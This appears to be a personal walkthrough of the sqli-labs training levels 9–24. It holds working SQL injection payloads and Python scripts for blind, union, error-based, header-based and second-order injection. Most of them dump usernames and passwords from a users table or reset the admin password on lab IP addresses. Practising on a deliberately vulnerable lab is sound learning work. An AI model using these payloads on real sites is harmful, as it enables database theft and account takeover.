sqli-labs

less-9,10

import requests
import time

url = "http://10.160.104.208/sqli-labs-master/Less-10/?id="
flag = ''

for i in range(1, 50):
    for j in range(32, 127):
        a = '1" and if(ascii(substr(database(),{},1))={},sleep(2),1)--+'.format(i, j)

        b = url + a
        print(b)
        start_time = time.time()
        re = requests.get(url=b)
        end_time = time.time()
        sec = end_time - start_time
        if sec >= 2:
            flag = flag + chr(j)
            print(flag)

sec=end_time-start_time //算出get请求和sleep后所用的时间
if  sec >=2:            //时间符号条件就print并退出
    print(flag)

less-11

Username:

-1' union select 1,group_concat(username)from users#

Password:

-1' union select 1,group_concat(password)from users#

less-12

1")

less-13

1'):

  1') and extractvalue(1,concat(0x7e,((select group_concat(username)from users)),0x7e))#
  1') and extractvalue(1,concat(0x7e,((select group_concat(password)from users)),0x7e))#

less-14

1"

less-15

1' or ascii(substr((select group_concat(username)from users),1,1))#

1' or ascii(substr((select group_concat(password)from users),1,1))#

import requests

url = "http://10.160.105.77/sqli-labs-master/Less-15/"
flag = ""

for i in range(1, 50):
    for j in range(32, 127):
        a = "admin' and ascii(substr((select group_concat(username)from users),{},1))={}#".format(i, j)
        data = {"uname": a, "passwd": a}
        r = requests.post(url=url, data=data)
        print(data)
        if '../images/flag.jpg' in r.text:
            flag = flag + chr(j)
            print(flag)

import requests
import time

url = "http://10.160.105.77/sqli-labs-master/Less-15/"
flag = ""

for i in range(1, 50):
    for j in range(32, 127):
        a = "admin' and if(ascii(substr((select group_concat(username)from users),{},1))={},sleep(2),1)#".format(i, j)
        data = {'uname': a, 'passwd': a}
        print(data)

        start_time = time.time()
        r = requests.post(url=url, data=data)
        end_time = time.time()
        sec = end_time - start_time
        if sec >= 2:
            flag = flag + chr(j)
            print(flag)

less-16

")

less-17

报错注入：

uname=Dumb&passwd=1' or updatexml(1,concat(0x7e,(version()),0x7e),2)#   //版本

uname=Dumb&passwd=1' or updatexml(1,concat(0x7e,(database()),0x7e),2)#  //数据库

uname=Dumb&passwd=1' and updatexml(1,concat('!',(select group_concat(table_name)from information_schema.tables where table_schema = 'security')),2)#   //表名

uname=Dumb&passwd=1' and updatexml(1,concat('!',(select group_concat(column_name)from information_schema.columns where table_schema= 'security')),2)#   //列名

无法直接从users表拿数据，在某个表中暂存从users中查出来的数据，然后再从这个暂存的表中取出数据：

uname=Dumb&passwd=1' and (updatexml(1,concat('!',(select concat_ws(':',username,password)from (select username,password from users)text limit 0,1)),1))#

修改limit n,m 查询数据

uname=Dumb&passwd=1' and (updatexml(1,concat('!',(select concat_ws(':',username,password)from (select username,password from users)text limit 1,1)),1))#

concat_ws()函数：用指定分隔符将多个字符串连接成一个字符串

用group_concat()函数表示

uname=Dumb&passwd=1' and (updatexml(1,concat(0x7e,((select 
 group_concat(username,password)from (select username,password from users)text)),0x7e),1))#

less-18

输入正确的密码：passwd=admin&uname=admin

判断闭合‘’

判断注入点为 User-Agent:

'or updatexml(1,concat("!",(select group_concat(password)from users)),1) or   //数据库

或

1',1,updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),1))#   //表

1',1,updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name='users'),0x7e),1))#  //列

1',1,updatexml(1,concat(0x7e,(select group_concat(password)from users),0x7e),1))#   //字段

less-19

判断闭合‘’

判断注入点为 referer

'or extractvalue(1,concat("!",database())) or'   //数据库

'or extractvalue(1,concat("!",(select group_concat(password)from users))) or'

less-20

输入正确的用户名和密码

passwd=admin&uname=admin

“Delet Your Cookie!" 判断注入点为cookie

uname=' union select 1,2,group_concat(password)from users#

less-24

二次注入：

1.插入1‘#

2.转义成1‘#

3.不能注入，但是保存在数据库时变成了原来的1’#

4.利用1‘#进行注入，这里利用时 要求取出数据时不转义

在数据库中#表示注释的意思，后面的语句不会执行，而admin后面的那个单引号又与前面的 ‘ 闭合，而原本后面的那个 ’ 因为是在#之后，所以就被注释掉了，所以他修改的其实还是admin的密码

登陆部分使用了mysql-real_escape_string进行转义处理 无法进行sql注入

注册 注册admin’#新账号：uname：admin‘#； passwd：123456

登录 修改admin’#账号密码 111111

发现更改了admin账号密码